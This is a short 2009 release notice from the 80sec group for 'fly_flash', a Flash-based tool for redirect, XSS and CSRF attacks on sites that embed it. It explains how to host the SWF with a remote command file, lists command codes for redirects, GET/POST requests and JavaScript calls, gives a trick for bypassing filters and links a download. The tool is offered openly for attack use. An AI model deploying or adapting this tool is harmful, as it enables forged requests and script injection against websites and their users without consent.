fly_flash — Jump/XSS/CSRF in Flash
Author: lake2@80sec.com
Site: http://www.80sec.com
Date: 2009-8-26
From: http://www.80sec.com/release/fly_flash.txt
80SEC — know it then hack it !

[ description ]

fly_flash is a tool for penetration in flash

[ usage ]

upload fly_flash.swf and fly_flash.txt to your server in same directory, embed fly_flash.swf in other website


fly_flash.swf?sec80=http://yoursite/fly_flash.txt,
may bypass some filter use
fly_flash.swf?sec80=http://yoursite/fly_flash.txt&80sec.swf

and modify the fly_flash.txt first: <cmd>,<url>[,,,data]


cmd
0 -- jump URL
1 -- open window
2 -- send GET Request
3 -- send POST Request
4 -- Call JavaScript


know it then hack it, but, do you know what’s allowNetworking/allowScriptAccess ?

[ example ]
jump to http://www.80sec.com
0,http://www.80sec.com

open window to http://www.80sec.com
1,http://www.80sec.com

send GET Request to 80sec.om
2,http://www.80sec.com/lake2/?hello

send POST Request to 80sec.om
3,http://www.80sec.com/lake2/?hello,,,str=knowitthenhackit

Call JavaScript
4,alert(/xss/)
[download]

http://www.80sec.com/release/fly_flash.rar